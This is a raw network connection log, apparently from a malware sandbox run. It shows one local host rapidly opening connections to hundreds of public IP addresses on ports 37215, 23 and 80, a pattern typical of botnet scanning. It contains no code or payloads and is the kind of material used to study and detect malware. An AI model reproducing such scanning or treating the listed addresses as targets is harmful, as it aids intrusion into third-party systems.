Feb 4, 2025 18:17:31.380929947 CET	35556	37215	192.168.2.23	156.74.15.219
Feb 4, 2025 18:17:31.380934000 CET	35556	37215	192.168.2.23	41.165.77.198
Feb 4, 2025 18:17:31.380935907 CET	35556	37215	192.168.2.23	156.244.216.255
Feb 4, 2025 18:17:31.380939960 CET	35556	37215	192.168.2.23	41.89.218.49
Feb 4, 2025 18:17:31.380939960 CET	35556	37215	192.168.2.23	197.92.85.165
Feb 4, 2025 18:17:31.380947113 CET	35556	37215	192.168.2.23	197.30.27.49
Feb 4, 2025 18:17:31.380948067 CET	23	47076	69.148.183.150	192.168.2.23
Feb 4, 2025 18:17:31.380954981 CET	35556	37215	192.168.2.23	41.207.223.67
Feb 4, 2025 18:17:31.380958080 CET	35556	37215	192.168.2.23	197.136.114.116
Feb 4, 2025 18:17:31.380966902 CET	35556	37215	192.168.2.23	197.227.67.240
Feb 4, 2025 18:17:31.380975008 CET	23	47076	148.53.157.220	192.168.2.23
Feb 4, 2025 18:17:31.380979061 CET	47076	23	192.168.2.23	69.148.183.150
Feb 4, 2025 18:17:31.380980015 CET	23	47076	179.218.230.140	192.168.2.23
Feb 4, 2025 18:17:31.380980968 CET	35556	37215	192.168.2.23	156.13.203.68
Feb 4, 2025 18:17:31.380981922 CET	35556	37215	192.168.2.23	41.89.129.167
Feb 4, 2025 18:17:31.380980968 CET	35556	37215	192.168.2.23	156.189.159.47
Feb 4, 2025 18:17:31.380980968 CET	35556	37215	192.168.2.23	197.140.195.186
Feb 4, 2025 18:17:31.380989075 CET	35556	37215	192.168.2.23	156.222.234.58
Feb 4, 2025 18:17:31.380999088 CET	35556	37215	192.168.2.23	197.138.71.70
Feb 4, 2025 18:17:31.381000996 CET	35556	37215	192.168.2.23	156.229.240.110
Feb 4, 2025 18:17:31.381000996 CET	35556	37215	192.168.2.23	41.207.213.183
Feb 4, 2025 18:17:31.381009102 CET	35556	37215	192.168.2.23	197.221.107.49
Feb 4, 2025 18:17:31.381019115 CET	35556	37215	192.168.2.23	41.148.242.132
Feb 4, 2025 18:17:31.381027937 CET	35556	37215	192.168.2.23	41.59.239.86
Feb 4, 2025 18:17:31.381028891 CET	47076	23	192.168.2.23	148.53.157.220
Feb 4, 2025 18:17:31.381027937 CET	47076	23	192.168.2.23	179.218.230.140
Feb 4, 2025 18:17:31.381027937 CET	35556	37215	192.168.2.23	41.80.58.18
Feb 4, 2025 18:17:31.381031990 CET	35556	37215	192.168.2.23	156.191.227.136
Feb 4, 2025 18:17:31.381032944 CET	35556	37215	192.168.2.23	41.1.72.100
Feb 4, 2025 18:17:31.381052017 CET	35556	37215	192.168.2.23	197.15.202.217
Feb 4, 2025 18:17:31.381057024 CET	35556	37215	192.168.2.23	156.197.128.226
Feb 4, 2025 18:17:31.381057024 CET	35556	37215	192.168.2.23	156.165.217.27
Feb 4, 2025 18:17:31.381064892 CET	35556	37215	192.168.2.23	41.81.208.154
Feb 4, 2025 18:17:31.381064892 CET	35556	37215	192.168.2.23	156.122.83.184
Feb 4, 2025 18:17:31.381064892 CET	35556	37215	192.168.2.23	197.245.16.101
Feb 4, 2025 18:17:31.381077051 CET	35556	37215	192.168.2.23	41.175.58.1
Feb 4, 2025 18:17:31.381078005 CET	35556	37215	192.168.2.23	156.236.49.99
Feb 4, 2025 18:17:31.381086111 CET	23	47076	61.212.47.165	192.168.2.23
Feb 4, 2025 18:17:31.381092072 CET	23	47076	197.10.24.250	192.168.2.23
Feb 4, 2025 18:17:31.381095886 CET	35556	37215	192.168.2.23	197.233.110.162
Feb 4, 2025 18:17:31.381097078 CET	23	47076	131.142.112.126	192.168.2.23
Feb 4, 2025 18:17:31.381097078 CET	35556	37215	192.168.2.23	41.38.94.253
Feb 4, 2025 18:17:31.381098986 CET	35556	37215	192.168.2.23	197.218.231.141
Feb 4, 2025 18:17:31.381098986 CET	35556	37215	192.168.2.23	197.68.248.252
Feb 4, 2025 18:17:31.381099939 CET	35556	37215	192.168.2.23	156.37.55.138
Feb 4, 2025 18:17:31.381100893 CET	35556	37215	192.168.2.23	156.141.8.220
Feb 4, 2025 18:17:31.381100893 CET	35556	37215	192.168.2.23	156.139.2.71
Feb 4, 2025 18:17:31.381102085 CET	23	47076	189.248.113.169	192.168.2.23
Feb 4, 2025 18:17:31.381100893 CET	35556	37215	192.168.2.23	156.132.217.19
Feb 4, 2025 18:17:31.381100893 CET	35556	37215	192.168.2.23	41.144.177.184
Feb 4, 2025 18:17:31.381108046 CET	23	47076	131.243.91.193	192.168.2.23
Feb 4, 2025 18:17:31.381113052 CET	23	47076	114.113.18.124	192.168.2.23
Feb 4, 2025 18:17:31.381114006 CET	35556	37215	192.168.2.23	156.118.40.154
Feb 4, 2025 18:17:31.381115913 CET	35556	37215	192.168.2.23	41.125.198.145
Feb 4, 2025 18:17:31.381115913 CET	35556	37215	192.168.2.23	41.20.169.157
Feb 4, 2025 18:17:31.381118059 CET	23	47076	153.44.241.207	192.168.2.23
Feb 4, 2025 18:17:31.381123066 CET	23	47076	53.85.76.67	192.168.2.23
Feb 4, 2025 18:17:31.381128073 CET	23	47076	150.174.128.114	192.168.2.23
Feb 4, 2025 18:17:31.381130934 CET	47076	23	192.168.2.23	131.142.112.126
Feb 4, 2025 18:17:31.381133080 CET	23	47076	223.39.215.206	192.168.2.23
Feb 4, 2025 18:17:31.381138086 CET	23	47076	73.80.216.25	192.168.2.23
Feb 4, 2025 18:17:31.381145000 CET	47076	23	192.168.2.23	189.248.113.169
Feb 4, 2025 18:17:31.381145000 CET	47076	23	192.168.2.23	131.243.91.193
Feb 4, 2025 18:17:31.381145954 CET	47076	23	192.168.2.23	114.113.18.124
Feb 4, 2025 18:17:31.381151915 CET	23	47076	43.135.162.203	192.168.2.23
Feb 4, 2025 18:17:31.381156921 CET	23	47076	87.236.18.63	192.168.2.23
Feb 4, 2025 18:17:31.381160975 CET	47076	23	192.168.2.23	197.10.24.250
Feb 4, 2025 18:17:31.381160975 CET	47076	23	192.168.2.23	53.85.76.67
Feb 4, 2025 18:17:31.381160975 CET	47076	23	192.168.2.23	153.44.241.207
Feb 4, 2025 18:17:31.381160975 CET	47076	23	192.168.2.23	150.174.128.114
Feb 4, 2025 18:17:31.381161928 CET	23	47076	66.54.8.121	192.168.2.23
Feb 4, 2025 18:17:31.381160975 CET	47076	23	192.168.2.23	61.212.47.165
Feb 4, 2025 18:17:31.381160975 CET	47076	23	192.168.2.23	223.39.215.206
Feb 4, 2025 18:17:31.381167889 CET	23	47076	181.3.58.97	192.168.2.23
Feb 4, 2025 18:17:31.381174088 CET	23	47076	204.65.199.79	192.168.2.23
Feb 4, 2025 18:17:31.381185055 CET	47076	23	192.168.2.23	43.135.162.203
Feb 4, 2025 18:17:31.381186962 CET	23	47076	189.90.84.184	192.168.2.23
Feb 4, 2025 18:17:31.381191969 CET	23	47076	113.216.178.123	192.168.2.23
Feb 4, 2025 18:17:31.381196976 CET	23	47076	210.12.43.239	192.168.2.23
Feb 4, 2025 18:17:31.381201029 CET	23	47076	219.122.68.228	192.168.2.23
Feb 4, 2025 18:17:31.381203890 CET	47076	23	192.168.2.23	73.80.216.25
Feb 4, 2025 18:17:31.381205082 CET	23	47076	76.144.247.12	192.168.2.23
Feb 4, 2025 18:17:31.381205082 CET	47076	23	192.168.2.23	87.236.18.63
Feb 4, 2025 18:17:31.381211042 CET	47076	23	192.168.2.23	181.3.58.97
Feb 4, 2025 18:17:31.381211996 CET	23	47076	192.239.202.170	192.168.2.23
Feb 4, 2025 18:17:31.381218910 CET	23	47076	54.42.126.196	192.168.2.23
Feb 4, 2025 18:17:31.381222963 CET	23	47076	148.249.41.60	192.168.2.23
Feb 4, 2025 18:17:31.381227970 CET	23	47076	194.114.197.107	192.168.2.23
Feb 4, 2025 18:17:31.381227970 CET	47076	23	192.168.2.23	210.12.43.239
Feb 4, 2025 18:17:31.381227970 CET	47076	23	192.168.2.23	219.122.68.228
Feb 4, 2025 18:17:31.381256104 CET	47076	23	192.168.2.23	192.239.202.170
Feb 4, 2025 18:17:31.381256104 CET	47076	23	192.168.2.23	194.114.197.107
Feb 4, 2025 18:17:31.381259918 CET	47076	23	192.168.2.23	66.54.8.121
Feb 4, 2025 18:17:31.381278038 CET	47076	23	192.168.2.23	204.65.199.79
Feb 4, 2025 18:17:31.381279945 CET	47076	23	192.168.2.23	189.90.84.184
Feb 4, 2025 18:17:31.381280899 CET	47076	23	192.168.2.23	54.42.126.196
Feb 4, 2025 18:17:31.381282091 CET	47076	23	192.168.2.23	76.144.247.12
Feb 4, 2025 18:17:31.381285906 CET	47076	23	192.168.2.23	113.216.178.123
Feb 4, 2025 18:17:31.381285906 CET	47076	23	192.168.2.23	148.249.41.60
Feb 4, 2025 18:17:31.381470919 CET	46308	80	192.168.2.23	4.248.114.87
Feb 4, 2025 18:17:31.381485939 CET	46308	80	192.168.2.23	187.173.192.116
Feb 4, 2025 18:17:31.381505013 CET	46308	80	192.168.2.23	157.62.13.137
Feb 4, 2025 18:17:31.381505013 CET	46308	80	192.168.2.23	90.153.75.106
Feb 4, 2025 18:17:31.381513119 CET	46308	80	192.168.2.23	40.51.177.227
Feb 4, 2025 18:17:31.381514072 CET	46308	80	192.168.2.23	49.32.142.177
Feb 4, 2025 18:17:31.381514072 CET	46308	80	192.168.2.23	176.155.4.22
Feb 4, 2025 18:17:31.381514072 CET	46308	80	192.168.2.23	152.220.30.43
Feb 4, 2025 18:17:31.381524086 CET	46308	80	192.168.2.23	24.97.75.125
Feb 4, 2025 18:17:31.381525993 CET	46308	80	192.168.2.23	198.134.75.150
Feb 4, 2025 18:17:31.381525993 CET	46308	80	192.168.2.23	204.92.135.97
Feb 4, 2025 18:17:31.381525993 CET	46308	80	192.168.2.23	77.229.207.181
Feb 4, 2025 18:17:31.381526947 CET	46308	80	192.168.2.23	154.78.180.146
Feb 4, 2025 18:17:31.381536961 CET	46308	80	192.168.2.23	68.15.7.87
Feb 4, 2025 18:17:31.381536961 CET	46308	80	192.168.2.23	72.16.17.53
Feb 4, 2025 18:17:31.381536961 CET	46308	80	192.168.2.23	72.15.206.241
Feb 4, 2025 18:17:31.381545067 CET	46308	80	192.168.2.23	4.18.62.253
Feb 4, 2025 18:17:31.381545067 CET	46308	80	192.168.2.23	213.244.98.208
Feb 4, 2025 18:17:31.381545067 CET	46308	80	192.168.2.23	211.46.226.97
Feb 4, 2025 18:17:31.381556034 CET	46308	80	192.168.2.23	87.59.147.253
Feb 4, 2025 18:17:31.381577969 CET	46308	80	192.168.2.23	70.24.1.19
Feb 4, 2025 18:17:31.381577969 CET	46308	80	192.168.2.23	85.22.112.79
Feb 4, 2025 18:17:31.381577969 CET	46308	80	192.168.2.23	129.151.207.78
Feb 4, 2025 18:17:31.381577969 CET	46308	80	192.168.2.23	216.240.81.99
Feb 4, 2025 18:17:31.381581068 CET	46308	80	192.168.2.23	66.162.64.251
Feb 4, 2025 18:17:31.381581068 CET	46308	80	192.168.2.23	134.4.83.200
Feb 4, 2025 18:17:31.381587029 CET	46308	80	192.168.2.23	4.230.213.110
Feb 4, 2025 18:17:31.381592989 CET	46308	80	192.168.2.23	2.223.67.146
Feb 4, 2025 18:17:31.381592989 CET	46308	80	192.168.2.23	34.243.141.200
Feb 4, 2025 18:17:31.381592989 CET	46308	80	192.168.2.23	119.188.249.93
Feb 4, 2025 18:17:31.381594896 CET	46308	80	192.168.2.23	188.94.105.208
Feb 4, 2025 18:17:31.381594896 CET	46308	80	192.168.2.23	20.141.154.234
Feb 4, 2025 18:17:31.381594896 CET	46308	80	192.168.2.23	134.46.32.52
Feb 4, 2025 18:17:31.381594896 CET	46308	80	192.168.2.23	160.58.209.247
Feb 4, 2025 18:17:31.381603003 CET	46308	80	192.168.2.23	73.131.171.203
Feb 4, 2025 18:17:31.381603003 CET	46308	80	192.168.2.23	39.225.5.101
Feb 4, 2025 18:17:31.381603956 CET	46308	80	192.168.2.23	80.173.121.42
Feb 4, 2025 18:17:31.381603956 CET	46308	80	192.168.2.23	86.33.7.202
Feb 4, 2025 18:17:31.381632090 CET	46308	80	192.168.2.23	188.34.191.204
Feb 4, 2025 18:17:31.381633043 CET	46308	80	192.168.2.23	151.228.89.215
Feb 4, 2025 18:17:31.381632090 CET	46308	80	192.168.2.23	77.195.60.69
Feb 4, 2025 18:17:31.381633997 CET	46308	80	192.168.2.23	137.199.105.145
Feb 4, 2025 18:17:31.381632090 CET	46308	80	192.168.2.23	138.153.195.201
Feb 4, 2025 18:17:31.381633043 CET	46308	80	192.168.2.23	41.149.89.232
Feb 4, 2025 18:17:31.381633043 CET	46308	80	192.168.2.23	17.204.155.143
Feb 4, 2025 18:17:31.381633997 CET	46308	80	192.168.2.23	206.250.218.132
Feb 4, 2025 18:17:31.381654024 CET	46308	80	192.168.2.23	36.199.178.116
Feb 4, 2025 18:17:31.381654024 CET	46308	80	192.168.2.23	98.103.78.210
Feb 4, 2025 18:17:31.381654024 CET	46308	80	192.168.2.23	148.231.108.47
Feb 4, 2025 18:17:31.381654024 CET	46308	80	192.168.2.23	86.235.95.195
Feb 4, 2025 18:17:31.381655931 CET	46308	80	192.168.2.23	156.6.111.150
Feb 4, 2025 18:17:31.381655931 CET	46308	80	192.168.2.23	192.30.218.82
Feb 4, 2025 18:17:31.381655931 CET	46308	80	192.168.2.23	158.18.242.112
Feb 4, 2025 18:17:31.381656885 CET	46308	80	192.168.2.23	77.39.137.65
Feb 4, 2025 18:17:31.381655931 CET	46308	80	192.168.2.23	105.15.83.135
Feb 4, 2025 18:17:31.381664991 CET	46308	80	192.168.2.23	52.185.161.65
Feb 4, 2025 18:17:31.381665945 CET	46308	80	192.168.2.23	130.17.55.125
Feb 4, 2025 18:17:31.381666899 CET	46308	80	192.168.2.23	13.79.145.209
Feb 4, 2025 18:17:31.381666899 CET	46308	80	192.168.2.23	52.81.107.183
Feb 4, 2025 18:17:31.381666899 CET	46308	80	192.168.2.23	222.170.33.100
Feb 4, 2025 18:17:31.381673098 CET	46308	80	192.168.2.23	202.217.64.210
Feb 4, 2025 18:17:31.381673098 CET	46308	80	192.168.2.23	191.244.10.204
Feb 4, 2025 18:17:31.381673098 CET	46308	80	192.168.2.23	136.212.203.248
Feb 4, 2025 18:17:31.381673098 CET	46308	80	192.168.2.23	159.215.175.65
Feb 4, 2025 18:17:31.381673098 CET	46308	80	192.168.2.23	90.251.185.147
Feb 4, 2025 18:17:31.381688118 CET	46308	80	192.168.2.23	86.59.199.159
Feb 4, 2025 18:17:31.381688118 CET	46308	80	192.168.2.23	106.38.4.135
Feb 4, 2025 18:17:31.381688118 CET	46308	80	192.168.2.23	25.177.84.139
Feb 4, 2025 18:17:31.381688118 CET	46308	80	192.168.2.23	93.48.130.237
Feb 4, 2025 18:17:31.381690025 CET	46308	80	192.168.2.23	94.63.171.23
Feb 4, 2025 18:17:31.381688118 CET	46308	80	192.168.2.23	31.8.29.135
Feb 4, 2025 18:17:31.381688118 CET	46308	80	192.168.2.23	138.173.237.192
Feb 4, 2025 18:17:31.381696939 CET	46308	80	192.168.2.23	210.187.54.86
Feb 4, 2025 18:17:31.381696939 CET	46308	80	192.168.2.23	68.231.92.143
Feb 4, 2025 18:17:31.381696939 CET	46308	80	192.168.2.23	31.222.251.104
Feb 4, 2025 18:17:31.381716967 CET	46308	80	192.168.2.23	125.139.225.33
Feb 4, 2025 18:17:31.381720066 CET	46308	80	192.168.2.23	79.141.6.32
Feb 4, 2025 18:17:31.381726980 CET	46308	80	192.168.2.23	49.68.77.108
Feb 4, 2025 18:17:31.381726980 CET	46308	80	192.168.2.23	136.223.184.181
Feb 4, 2025 18:17:31.381726980 CET	46308	80	192.168.2.23	142.63.57.174
Feb 4, 2025 18:17:31.381726980 CET	46308	80	192.168.2.23	111.54.36.6
Feb 4, 2025 18:17:31.381742954 CET	46308	80	192.168.2.23	77.217.149.214
Feb 4, 2025 18:17:31.381742954 CET	46308	80	192.168.2.23	199.11.164.69
Feb 4, 2025 18:17:31.381751060 CET	23	47076	50.73.77.74	192.168.2.23
Feb 4, 2025 18:17:31.381753922 CET	46308	80	192.168.2.23	170.177.79.228
Feb 4, 2025 18:17:31.381757021 CET	23	47076	123.72.124.209	192.168.2.23
Feb 4, 2025 18:17:31.381757021 CET	46308	80	192.168.2.23	57.81.101.163
Feb 4, 2025 18:17:31.381758928 CET	46308	80	192.168.2.23	39.177.100.132
Feb 4, 2025 18:17:31.381758928 CET	46308	80	192.168.2.23	199.149.183.192
Feb 4, 2025 18:17:31.381758928 CET	46308	80	192.168.2.23	209.99.153.20
Feb 4, 2025 18:17:31.381761074 CET	23	47076	46.151.32.58	192.168.2.23
Feb 4, 2025 18:17:31.381763935 CET	46308	80	192.168.2.23	98.232.123.191
Feb 4, 2025 18:17:31.381772995 CET	46308	80	192.168.2.23	157.117.246.36
Feb 4, 2025 18:17:31.381776094 CET	23	47076	120.225.164.104	192.168.2.23
Feb 4, 2025 18:17:31.381779909 CET	23	47076	213.58.155.139	192.168.2.23
Feb 4, 2025 18:17:31.381784916 CET	23	47076	133.254.118.230	192.168.2.23
Feb 4, 2025 18:17:31.381787062 CET	47076	23	192.168.2.23	50.73.77.74
Feb 4, 2025 18:17:31.381789923 CET	23	47076	18.1.216.32	192.168.2.23
Feb 4, 2025 18:17:31.381792068 CET	46308	80	192.168.2.23	66.73.209.100
Feb 4, 2025 18:17:31.381795883 CET	23	47076	108.108.60.60	192.168.2.23
Feb 4, 2025 18:17:31.381799936 CET	23	47076	211.251.52.20	192.168.2.23
Feb 4, 2025 18:17:31.381804943 CET	23	47076	158.22.173.210	192.168.2.23
Feb 4, 2025 18:17:31.381807089 CET	47076	23	192.168.2.23	46.151.32.58
Feb 4, 2025 18:17:31.381807089 CET	47076	23	192.168.2.23	123.72.124.209
Feb 4, 2025 18:17:31.381808996 CET	23	47076	96.212.112.19	192.168.2.23
Feb 4, 2025 18:17:31.381809950 CET	47076	23	192.168.2.23	120.225.164.104
Feb 4, 2025 18:17:31.381809950 CET	47076	23	192.168.2.23	213.58.155.139
Feb 4, 2025 18:17:31.381814003 CET	23	47076	17.55.59.49	192.168.2.23
Feb 4, 2025 18:17:31.381818056 CET	23	47076	12.54.206.114	192.168.2.23
Feb 4, 2025 18:17:31.381819010 CET	46308	80	192.168.2.23	1.218.22.198
Feb 4, 2025 18:17:31.381819963 CET	47076	23	192.168.2.23	133.254.118.230
Feb 4, 2025 18:17:31.381822109 CET	23	47076	106.67.53.24	192.168.2.23
Feb 4, 2025 18:17:31.381827116 CET	23	47076	27.106.229.112	192.168.2.23
Feb 4, 2025 18:17:31.381828070 CET	46308	80	192.168.2.23	131.19.232.96
Feb 4, 2025 18:17:31.381828070 CET	47076	23	192.168.2.23	108.108.60.60
Feb 4, 2025 18:17:31.381830931 CET	23	47076	107.106.167.26	192.168.2.23
Feb 4, 2025 18:17:31.381834984 CET	47076	23	192.168.2.23	158.22.173.210
Feb 4, 2025 18:17:31.381834984 CET	47076	23	192.168.2.23	96.212.112.19
Feb 4, 2025 18:17:31.381838083 CET	23	47076	54.6.237.213	192.168.2.23
Feb 4, 2025 18:17:31.381839037 CET	47076	23	192.168.2.23	211.251.52.20
Feb 4, 2025 18:17:31.381843090 CET	23	47076	187.69.48.67	192.168.2.23
Feb 4, 2025 18:17:31.381844044 CET	47076	23	192.168.2.23	18.1.216.32
Feb 4, 2025 18:17:31.381853104 CET	23	47076	41.9.31.135	192.168.2.23
Feb 4, 2025 18:17:31.381855011 CET	47076	23	192.168.2.23	17.55.59.49
Feb 4, 2025 18:17:31.381858110 CET	23	47076	97.227.201.66	192.168.2.23
Feb 4, 2025 18:17:31.381860971 CET	47076	23	192.168.2.23	12.54.206.114
Feb 4, 2025 18:17:31.381861925 CET	47076	23	192.168.2.23	106.67.53.24
Feb 4, 2025 18:17:31.381863117 CET	23	47076	5.58.186.88	192.168.2.23
Feb 4, 2025 18:17:31.381867886 CET	23	47076	36.206.251.151	192.168.2.23
Feb 4, 2025 18:17:31.381872892 CET	23	47076	219.29.190.41	192.168.2.23
Feb 4, 2025 18:17:31.381876945 CET	23	47076	47.14.201.39	192.168.2.23
Feb 4, 2025 18:17:31.381876945 CET	47076	23	192.168.2.23	187.69.48.67
Feb 4, 2025 18:17:31.381880045 CET	47076	23	192.168.2.23	97.227.201.66
Feb 4, 2025 18:17:31.381880999 CET	23	47076	150.161.83.156	192.168.2.23
Feb 4, 2025 18:17:31.381884098 CET	47076	23	192.168.2.23	54.6.237.213
Feb 4, 2025 18:17:31.381884098 CET	47076	23	192.168.2.23	27.106.229.112
Feb 4, 2025 18:17:31.381884098 CET	47076	23	192.168.2.23	107.106.167.26
Feb 4, 2025 18:17:31.381886959 CET	47076	23	192.168.2.23	41.9.31.135
Feb 4, 2025 18:17:31.381887913 CET	23	47076	43.243.73.218	192.168.2.23
Feb 4, 2025 18:17:31.381892920 CET	23	47076	99.193.160.14	192.168.2.23
Feb 4, 2025 18:17:31.381899118 CET	46308	80	192.168.2.23	144.179.181.153
Feb 4, 2025 18:17:31.381900072 CET	47076	23	192.168.2.23	5.58.186.88
Feb 4, 2025 18:17:31.381900072 CET	23	47076	71.197.48.52	192.168.2.23
Feb 4, 2025 18:17:31.381908894 CET	47076	23	192.168.2.23	36.206.251.151
Feb 4, 2025 18:17:31.381910086 CET	47076	23	192.168.2.23	219.29.190.41
Feb 4, 2025 18:17:31.381917953 CET	47076	23	192.168.2.23	150.161.83.156
Feb 4, 2025 18:17:31.381922007 CET	47076	23	192.168.2.23	47.14.201.39
Feb 4, 2025 18:17:31.381926060 CET	47076	23	192.168.2.23	43.243.73.218
Feb 4, 2025 18:17:31.381938934 CET	46308	80	192.168.2.23	212.199.30.217
Feb 4, 2025 18:17:31.381941080 CET	47076	23	192.168.2.23	99.193.160.14
Feb 4, 2025 18:17:31.381941080 CET	47076	23	192.168.2.23	71.197.48.52
Feb 4, 2025 18:17:31.381948948 CET	46308	80	192.168.2.23	96.157.245.154
Feb 4, 2025 18:17:31.381963015 CET	46308	80	192.168.2.23	77.88.204.70
Feb 4, 2025 18:17:31.381963968 CET	46308	80	192.168.2.23	17.21.212.71
Feb 4, 2025 18:17:31.381963968 CET	46308	80	192.168.2.23	120.246.116.245
Feb 4, 2025 18:17:31.381967068 CET	46308	80	192.168.2.23	50.177.39.25
Feb 4, 2025 18:17:31.381982088 CET	46308	80	192.168.2.23	2.19.126.212
Feb 4, 2025 18:17:31.381982088 CET	46308	80	192.168.2.23	57.240.117.100
Feb 4, 2025 18:17:31.381982088 CET	46308	80	192.168.2.23	137.214.15.209
Feb 4, 2025 18:17:31.381987095 CET	46308	80	192.168.2.23	46.232.26.215
Feb 4, 2025 18:17:31.381995916 CET	46308	80	192.168.2.23	176.49.119.177
Feb 4, 2025 18:17:31.382004976 CET	46308	80	192.168.2.23	35.183.90.113
Feb 4, 2025 18:17:31.382006884 CET	46308	80	192.168.2.23	196.65.97.197
Feb 4, 2025 18:17:31.382006884 CET	46308	80	192.168.2.23	195.130.215.13
Feb 4, 2025 18:17:31.382009983 CET	46308	80	192.168.2.23	221.107.118.127
Feb 4, 2025 18:17:31.382014990 CET	46308	80	192.168.2.23	193.176.47.76
Feb 4, 2025 18:17:31.382014990 CET	46308	80	192.168.2.23	41.170.104.214
Feb 4, 2025 18:17:31.382023096 CET	46308	80	192.168.2.23	189.64.235.80
Feb 4, 2025 18:17:31.382030010 CET	46308	80	192.168.2.23	188.71.104.149
Feb 4, 2025 18:17:31.382030964 CET	46308	80	192.168.2.23	211.246.182.136
Feb 4, 2025 18:17:31.382050037 CET	46308	80	192.168.2.23	8.45.61.72
Feb 4, 2025 18:17:31.382050037 CET	46308	80	192.168.2.23	168.150.174.149
Feb 4, 2025 18:17:31.382051945 CET	46308	80	192.168.2.23	139.86.112.161
Feb 4, 2025 18:17:31.382051945 CET	46308	80	192.168.2.23	169.17.213.160
Feb 4, 2025 18:17:31.382054090 CET	46308	80	192.168.2.23	108.10.230.27
Feb 4, 2025 18:17:31.382051945 CET	46308	80	192.168.2.23	179.82.88.96
Feb 4, 2025 18:17:31.382051945 CET	46308	80	192.168.2.23	49.109.1.49
Feb 4, 2025 18:17:31.382066965 CET	46308	80	192.168.2.23	182.161.89.193
Feb 4, 2025 18:17:31.382081032 CET	46308	80	192.168.2.23	118.159.130.68
Feb 4, 2025 18:17:31.382082939 CET	46308	80	192.168.2.23	19.252.205.205
Feb 4, 2025 18:17:31.382092953 CET	46308	80	192.168.2.23	145.103.5.7
Feb 4, 2025 18:17:31.382092953 CET	46308	80	192.168.2.23	62.137.47.235
Feb 4, 2025 18:17:31.382093906 CET	46308	80	192.168.2.23	140.184.30.163
Feb 4, 2025 18:17:31.382102013 CET	46308	80	192.168.2.23	64.117.124.2
Feb 4, 2025 18:17:31.382102966 CET	46308	80	192.168.2.23	155.214.36.245
Feb 4, 2025 18:17:31.382111073 CET	46308	80	192.168.2.23	81.187.15.146
Feb 4, 2025 18:17:31.382123947 CET	46308	80	192.168.2.23	183.224.185.244
Feb 4, 2025 18:17:31.382128000 CET	46308	80	192.168.2.23	206.251.28.126
Feb 4, 2025 18:17:31.382128000 CET	46308	80	192.168.2.23	202.168.28.174
Feb 4, 2025 18:17:31.382128954 CET	46308	80	192.168.2.23	94.195.201.97
Feb 4, 2025 18:17:31.382134914 CET	46308	80	192.168.2.23	155.2.174.9
Feb 4, 2025 18:17:31.382138014 CET	46308	80	192.168.2.23	160.200.175.66
Feb 4, 2025 18:17:31.382147074 CET	23	47076	88.50.75.63	192.168.2.23
Feb 4, 2025 18:17:31.382148981 CET	46308	80	192.168.2.23	58.98.121.153
Feb 4, 2025 18:17:31.382148981 CET	46308	80	192.168.2.23	85.225.82.20
Feb 4, 2025 18:17:31.382152081 CET	23	47076	104.154.56.212	192.168.2.23
Feb 4, 2025 18:17:31.382157087 CET	23	47076	202.199.91.185	192.168.2.23
Feb 4, 2025 18:17:31.382155895 CET	46308	80	192.168.2.23	136.1.113.251
Feb 4, 2025 18:17:31.382168055 CET	46308	80	192.168.2.23	131.77.144.18
Feb 4, 2025 18:17:31.382168055 CET	46308	80	192.168.2.23	109.114.63.127
Feb 4, 2025 18:17:31.382189989 CET	46308	80	192.168.2.23	192.10.17.118
Feb 4, 2025 18:17:31.382189989 CET	46308	80	192.168.2.23	61.10.79.36
Feb 4, 2025 18:17:31.382189989 CET	46308	80	192.168.2.23	67.199.45.16
Feb 4, 2025 18:17:31.382195950 CET	47076	23	192.168.2.23	88.50.75.63
Feb 4, 2025 18:17:31.382195950 CET	47076	23	192.168.2.23	104.154.56.212
Feb 4, 2025 18:17:31.382195950 CET	47076	23	192.168.2.23	202.199.91.185
Feb 4, 2025 18:17:31.382195950 CET	46308	80	192.168.2.23	156.73.94.211
Feb 4, 2025 18:17:31.382200956 CET	46308	80	192.168.2.23	61.101.255.152
Feb 4, 2025 18:17:31.382204056 CET	46308	80	192.168.2.23	58.234.79.168
Feb 4, 2025 18:17:31.382217884 CET	46308	80	192.168.2.23	187.90.144.93
Feb 4, 2025 18:17:31.382220030 CET	46308	80	192.168.2.23	185.78.79.225
Feb 4, 2025 18:17:31.382222891 CET	46308	80	192.168.2.23	166.34.48.45
Feb 4, 2025 18:17:31.382222891 CET	46308	80	192.168.2.23	116.130.204.191
Feb 4, 2025 18:17:31.382226944 CET	46308	80	192.168.2.23	13.139.55.41
Feb 4, 2025 18:17:31.382227898 CET	46308	80	192.168.2.23	110.106.200.194
Feb 4, 2025 18:17:31.382240057 CET	46308	80	192.168.2.23	168.34.73.20
Feb 4, 2025 18:17:31.382245064 CET	46308	80	192.168.2.23	159.251.35.129
Feb 4, 2025 18:17:31.382246017 CET	46308	80	192.168.2.23	169.158.115.212
Feb 4, 2025 18:17:31.382256985 CET	46308	80	192.168.2.23	211.149.253.82
Feb 4, 2025 18:17:31.382261038 CET	46308	80	192.168.2.23	159.149.165.84
Feb 4, 2025 18:17:31.382272005 CET	46308	80	192.168.2.23	95.173.32.131
Feb 4, 2025 18:17:31.382272005 CET	46308	80	192.168.2.23	105.57.99.3
Feb 4, 2025 18:17:31.382281065 CET	46308	80	192.168.2.23	20.199.155.218
Feb 4, 2025 18:17:31.382283926 CET	46308	80	192.168.2.23	66.28.69.41
Feb 4, 2025 18:17:31.382289886 CET	46308	80	192.168.2.23	184.23.72.142
Feb 4, 2025 18:17:31.382289886 CET	23	47076	178.246.214.151	192.168.2.23
Feb 4, 2025 18:17:31.382296085 CET	23	47076	69.189.54.227	192.168.2.23
Feb 4, 2025 18:17:31.382299900 CET	23	47076	4.251.76.93	192.168.2.23
Feb 4, 2025 18:17:31.382299900 CET	46308	80	192.168.2.23	198.146.230.60
Feb 4, 2025 18:17:31.382299900 CET	46308	80	192.168.2.23	9.237.93.222
Feb 4, 2025 18:17:31.382304907 CET	23	47076	82.128.194.213	192.168.2.23
Feb 4, 2025 18:17:31.382308960 CET	23	47076	117.80.246.106	192.168.2.23
Feb 4, 2025 18:17:31.382318020 CET	23	47076	212.245.233.165	192.168.2.23
Feb 4, 2025 18:17:31.382323980 CET	47076	23	192.168.2.23	178.246.214.151
Feb 4, 2025 18:17:31.382330894 CET	23	47076	133.58.173.39	192.168.2.23
Feb 4, 2025 18:17:31.382330894 CET	47076	23	192.168.2.23	69.189.54.227
Feb 4, 2025 18:17:31.382335901 CET	23	47076	66.231.161.147	192.168.2.23
Feb 4, 2025 18:17:31.382338047 CET	47076	23	192.168.2.23	4.251.76.93
Feb 4, 2025 18:17:31.382339954 CET	23	47076	115.252.185.28	192.168.2.23
Feb 4, 2025 18:17:31.382344961 CET	23	47076	37.233.137.78	192.168.2.23
